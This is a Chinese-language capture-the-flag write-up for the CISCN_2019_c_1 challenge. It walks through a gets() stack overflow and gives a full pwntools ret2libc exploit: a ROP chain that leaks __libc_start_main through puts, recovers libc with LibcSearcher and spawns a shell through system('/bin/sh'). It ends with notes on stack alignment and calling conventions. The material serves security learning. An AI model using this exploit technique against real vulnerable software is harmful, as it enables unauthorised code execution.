自己写的exp、破题的思路和网上的都不一样 虽然就是个小破题 但是打通的那一刻真的超级开心
[Libc泄漏]CISCN_2019_c_1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] init(); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\\\\n"); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d", &v4); getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( v4 == 3 ) { puts("Bye!"); return 0; } if ( v4 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0; }
main函数里面没什么有价值的东西(我甚至一度怀疑这是个re main就是个表单选择 我们要进入encrypt函数 看到了gets 熟悉的栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int encrypt() { size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] __int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s); }
按我的感觉 在我们布局好之后 我们会劫持gets的返回地址 那么并不会进入到while里 然而事实上 布局好了之后还是会输出Ciphertext
1 2 3 4 5 6 payload = 'a' * 0x58 payload += p64(pop_rdi_addr) payload += p64(libc_start_main_got) payload += p64(puts_plt) payload += p64(start_addr) #具体为什么这样布局后面说
那就不知道了 可能那个gets是在while里面的吧 那只能当作会进到while里面了 那么需要用\x00进行截断 导致len=0 逃逸异或 可能以后做这种题目保险都会加个\x00了 并且还要注意 encrypt函数结束时还调用了puts(s) 虽然在他眼里s为空 但是他还会打印一个换行符 所以我们得这样
1 2 sh.recvuntil(b"Ciphertext\\\\n") sh.recvuntil(b"\\\\n")
对于本题而言 我们需要泄漏libc_start_main的地址 也就是利用got表 当然利用函数是puts 这个函数在之前就已经经过plt调用了 这题主要是一些小细节 比如recvuntil sendlineafter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * from LibcSearcher import LibcSearcher sh = process("./ciscn_2019_c_1") #sh = remote("node4.buuoj.cn",28291) c_1 = ELF("./ciscn_2019_c_1") puts_plt = c_1.plt['puts'] puts_got = c_1.got['puts'] libc_start_main_got = c_1.got['__libc_start_main'] start_addr = c_1.symbols['_start'] main_addr = c_1.symbols['main'] pop_rdi_addr = 0x0400c83 ret = 0x4006b9 sh.sendlineafter('Input your choice',b'1') payload ='\\\\x00' payload += 'a' * 0x57 payload += p64(pop_rdi_addr) payload += p64(libc_start_main_got) payload += p64(puts_plt) payload += p64(start_addr) sh.recvuntil(b"Input your Plaintext to be encrypted\\\\n") sh.sendline(payload) sh.recvuntil(b"Ciphertext\\\\n") sh.recvuntil(b"\\\\n") libc_start_main_addr = u64(sh.recvline()[:-1].ljust(8,b'\\\\0')) libc = LibcSearcher('__libc_start_main',libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump("str_bin_sh") payload = '\\\\x00' payload += 'a' * 0x57 payload += p64(ret) payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) sh.sendlineafter('Input your choice',b'1') sh.recvuntil(b"Input your Plaintext to be encrypted\\\\n") sh.sendline(payload) sh.interactive()
还有一个问题就是栈平衡问 在最后调用system的时候 如果是Ubuntu18 那么需要考虑栈平衡问题 最后在padding之后要注意加1到2个ret
1 2 $ ropgadget --binary '/Users/apple/Desktop/ciscn_2019_c_1' | grep ret 0x00000000004006b9 : ret
还有一个问题就是关于传参了 对于32位而言 所需参数的传入是在返回地址之后的 俗称的栈传参 如下所示
1 2 3 4 payload = flat(['A' * 112, system_addr, 0xdeadbeef, binsh_addr]) system_addr是构造需要执行的 0xdeadbeef是随便的一个system_addr的返回地址 因为还需要一个参数传入 binsh_addr相当于system_addr的参数
而对于64位而言 传入的首个参数为rdi寄存器 第二个是rsi寄存器 第三个是rdx寄存器 只有6个寄存器都满了之后 才会考虑使用栈传参
1 2 3 4 5 6 rdi, rsi, rdx, rcx, r8, r9 payload = 'a' * 0x58 payload += p64(pop_rdi_addr) payload += p64(libc_start_main_got) payload += p64(puts_plt) payload += p64(start_addr)
然后是对输出处理 这时候体现了debug模式的重要性 也是在这里发现了有两个0x0a换行符 我们发现地址只有6个字节 但是我们u64需要8个 于是使用ljust(8,’\0’)来补齐